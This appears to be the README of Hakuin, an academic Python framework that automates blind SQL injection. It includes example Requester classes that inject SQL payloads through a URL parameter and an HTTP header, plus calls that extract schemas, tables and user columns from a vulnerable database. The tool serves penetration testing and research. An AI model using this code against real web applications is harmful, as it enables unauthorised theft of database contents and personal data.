Hakuin – A Blazing Fast Blind SQL Injection Optimization And Automation Framework

Hakuin is a Blind SQL Injection (BSQLI) optimization and automation framework written in Python 3. It abstracts away the inference logic and allows users to easily and efficiently extract databases (DB) from vulnerable web applications. To speed up the process, Hakuin utilizes a variety of optimization methods, including pre-trained and adaptive language models, opportunistic guessing, parallelism and more.

Hakuin has been presented at esteemed academic and industrial conferences: – BlackHat MEA, Riyadh, 2023 – Hack in the Box, Phuket, 2023 – IEEE S&P Workshop on Offsensive Technology (WOOT), 2023

More information can be found in our paper and slides.

Installation

To install Hakuin, simply run:

pip3 install hakuin

Developers should install the package locally and set the -e flag for editable mode:

git clone [email protected]:pruzko/hakuin.git
cd hakuin
pip3 install -e .

Examples

Once you identify a BSQLI vulnerability, you need to tell Hakuin how to inject its queries. To do this, derive a class from the Requester and override the request method. Also, the method must determine whether the query resolved to True or False.

Example 1 – Query Parameter Injection with Status-based Inference

import aiohttp
from hakuin import Requester

class StatusRequester(Requester):
    async def request(self, ctx, query):
        r = await aiohttp.get(f'http://vuln.com/?n=XXX" OR ({query}) --')
        return r.status == 200

Example 2 – Header Injection with Content-based Inference

class ContentRequester(Requester):
    async def request(self, ctx, query):
        headers = {'vulnerable-header': f'xxx" OR ({query}) --'}
        r = await aiohttp.get(f'http://vuln.com/', headers=headers)
        return 'found' in await r.text()

To start extracting data, use the Extractor class. It requires a DBMS object to contruct queries and a Requester object to inject them. Hakuin currently supports SQLite, MySQL, PSQL (PostgreSQL), and MSSQL (SQL Server) DBMSs, but will soon include more options. If you wish to support another DBMS, implement the DBMS interface defined in hakuin/dbms/DBMS.py.

Example 1 – Extracting SQLite/MySQL/PSQL/MSSQL

import asyncio
from hakuin import Extractor, Requester
from hakuin.dbms import SQLite, MySQL, PSQL, MSSQL

class StatusRequester(Requester):
    ...

async def main():
    # requester:    Use this Requester
    # dbms:         Use this DBMS
    # n_tasks:      Spawns N tasks that extract column rows in parallel 
    ext = Extractor(requester=StatusRequester(), dbms=SQLite(), n_tasks=1)
    ...

if __name__ == '__main__':
    asyncio.get_event_loop().run_until_complete(main())

Now that eveything is set, you can start extracting DB metadata.

Example 1 – Extracting DB Schemas

# strategy:
#   'binary':   Use binary search
#   'model':    Use pre-trained model
schema_names = await ext.extract_schema_names(strategy='model')

Example 2 – Extracting Tables

tables = await ext.extract_table_names(strategy='model')

Example 3 – Extracting Columns

columns = await ext.extract_column_names(table='users', strategy='model')

Example 4 – Extracting Tables and Columns Together

metadata = await ext.extract_meta(strategy='model')

Once you know the structure, you can extract the actual content.

Example 1 – Extracting Generic Columns

# text_strategy:    Use this strategy if the column is text
res = await ext.extract_column(table='users', column='address', text_strategy='dynamic')

Example 2 – Extracting Textual Columns

# strategy:
#   'binary':       Use binary search
#   'fivegram':     Use five-gram model
#   'unigram':      Use unigram model
#   'dynamic':      Dynamically identify the best strategy. This setting
#                   also enables opportunistic guessing.
res = await ext.extract_column_text(table='users', column='address', strategy='dynamic')

Example 3 – Extracting Integer Columns

res = await ext.extract_column_int(table='users', column='id')

Example 4 – Extracting Float Columns

res = await ext.extract_column_float(table='products', column='price')

Example 5 – Extracting Blob (Binary Data) Columns

res = await ext.extract_column_blob(table='users', column='id')

More examples can be found in the tests directory.

Using Hakuin from the Command Line

Hakuin comes with a simple wrapper tool, hk.py, that allows you to use Hakuin’s basic functionality directly from the command line. To find out more, run:

python3 hk.py -h

For Researchers

This repository is actively developed to fit the needs of security practitioners. Researchers looking to reproduce the experiments described in our paper should install the frozen version as it contains the original code, experiment scripts, and an instruction manual for reproducing the results.

Cite Hakuin

@inproceedings{hakuin_bsqli,
  title={Hakuin: Optimizing Blind SQL Injection with Probabilistic Language Models},
  author={Pru{\v{z}}inec, Jakub and Nguyen, Quynh Anh},
  booktitle={2023 IEEE Security and Privacy Workshops (SPW)},
  pages={384--393},
  year={2023},
  organization={IEEE}
}